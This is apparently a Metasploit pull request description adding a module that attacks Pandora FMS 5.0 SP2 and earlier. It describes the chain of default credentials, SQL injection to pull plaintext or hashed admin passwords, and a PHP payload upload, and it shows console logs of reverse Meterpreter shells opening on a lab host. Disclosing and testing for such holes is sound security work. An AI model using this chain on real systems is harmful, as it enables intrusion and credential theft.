rapid7/metasploit-framework — pull request #2979 by pyoor (2014-02-11 20:34:50+00:00)
Title: Added Pandora FMS RCE and SQLi module

Remote Code Execution in Pandora FMS 5.0 SP2 and below (Tested on 4.0.2/4.1.1/5.0SP2 appliances).

How to replicate the vulnerable environment:

Download Pandora FMS 5.2 SP2: http://sourceforge.net/projects/pandora/files/Pandora%20FMS%205.0/FinalSP2/PandoraFMS5.0SP2-131226_64bit.iso/download

This module performs several steps in order to gain RCE. First, the module attempts to authenticate using default credentials. If this fails a SQL injection vulnerability affecting the mobile login form is exploited. Pandora FMS implements an "Auto login" hash which stores plaintext passwords in the database. Leveraging the SQLi, the plain-text password is extracted and used to authenticate. Once authenticated, this module will leverage the file manager functionality in order to upload a PHP payload.

If all methods fail the SQLi is leveraged in order to extract the admin MD5 password hash for offline cracking.

Using default credentials:
```
msf > use exploit/linux/http/pandorafms_sqli
msf exploit(pandorafms_sqli) > show options

Module options (exploit/linux/http/pandorafms_sqli):

Name Current Setting Required Description
---- --------------- -------- -----------
PASS pandora no The password to authenticate with
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
TARGETURI /pandora_console/ yes The URI of the vulnerable Pandora FMS instance
USER admin no The username to authenticate with
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 Pandora FMS version <= 5.0 SP2

msf exploit(pandorafms_sqli) > set RHOST 192.168.0.117
RHOST => 192.168.0.117
msf exploit(pandorafms_sqli) > exploit

[*] Started reverse handler on 192.168.0.134:4444
[*] 192.168.0.117:80 - Attempting to authenticate using (admin:pandora)
[*] 192.168.0.117:80 - Successfully authenticated!
[*] 192.168.0.117:80 - Attempting to retrieve session cookie
[*] 192.168.0.117:80 - Successfully retrieved session cookie: PHPSESSID=8vulgtr2l7c38b7ev6kv1jlg27
[*] 192.168.0.117:80 - Attempting to inject payload
[*] 192.168.0.117:80 - Successfully injected payload
[*] Sending stage (39195 bytes) to 192.168.0.117
[*] Meterpreter session 1 opened (192.168.0.134:4444 -> 192.168.0.117:40361) at 2014-02-11 13:01:03 -0500
[*] 192.168.0.117:80 - Cleaning script remnants
[*] 192.168.0.117:80 - Script removed successfully
```

Using "Auto login" hash mechanism:
```
[*] Started reverse handler on 192.168.0.134:4444
[*] 192.168.0.117:80 - Attempting to authenticate using (admin:badpassword)
[-] 192.168.0.117:80 - Authentication failed!
[*] 192.168.0.117:80 - Attempting to extract auto login hash
[*] 192.168.0.117:80 - Extracted auto login password (foobar123)
[*] 192.168.0.117:80 - Attempting to authenticate using (admin:foobar123)
[*] 192.168.0.117:80 - Successfully authenticated!
[*] 192.168.0.117:80 - Attempting to retrieve session cookie
[*] 192.168.0.117:80 - Successfully retrieved session cookie: PHPSESSID=hifh2b2vnscfjn196p8p4tskh3
[*] 192.168.0.117:80 - Attempting to inject payload
[*] 192.168.0.117:80 - Successfully injected payload
[*] Sending stage (39195 bytes) to 192.168.0.117
[*] Meterpreter session 2 opened (192.168.0.134:4444 -> 192.168.0.117:40362) at 2014-02-11 13:02:46 -0500
[*] 192.168.0.117:80 - Cleaning script remnants
[*] 192.168.0.117:80 - Script removed successfully
```

Resort to password extraction:
```
[*] Started reverse handler on 192.168.0.134:4444
[*] 192.168.0.117:80 - Attempting to authenticate using (admin:badpassword)
[-] 192.168.0.117:80 - Authentication failed!
[*] 192.168.0.117:80 - Attempting to extract auto login hash
[-] 192.168.0.117:80 - No auto login password has been defined!
[*] 192.168.0.117:80 - Attempting to extract admin password hash
[*] 192.168.0.117:80 - Extracted admin password hash - [ 1da7ee7d45b96d0e1f45ee4ee23da560 ]
[-] Exploit failed: 192.168.0.117:80 - Unable to perform remote code execution!
```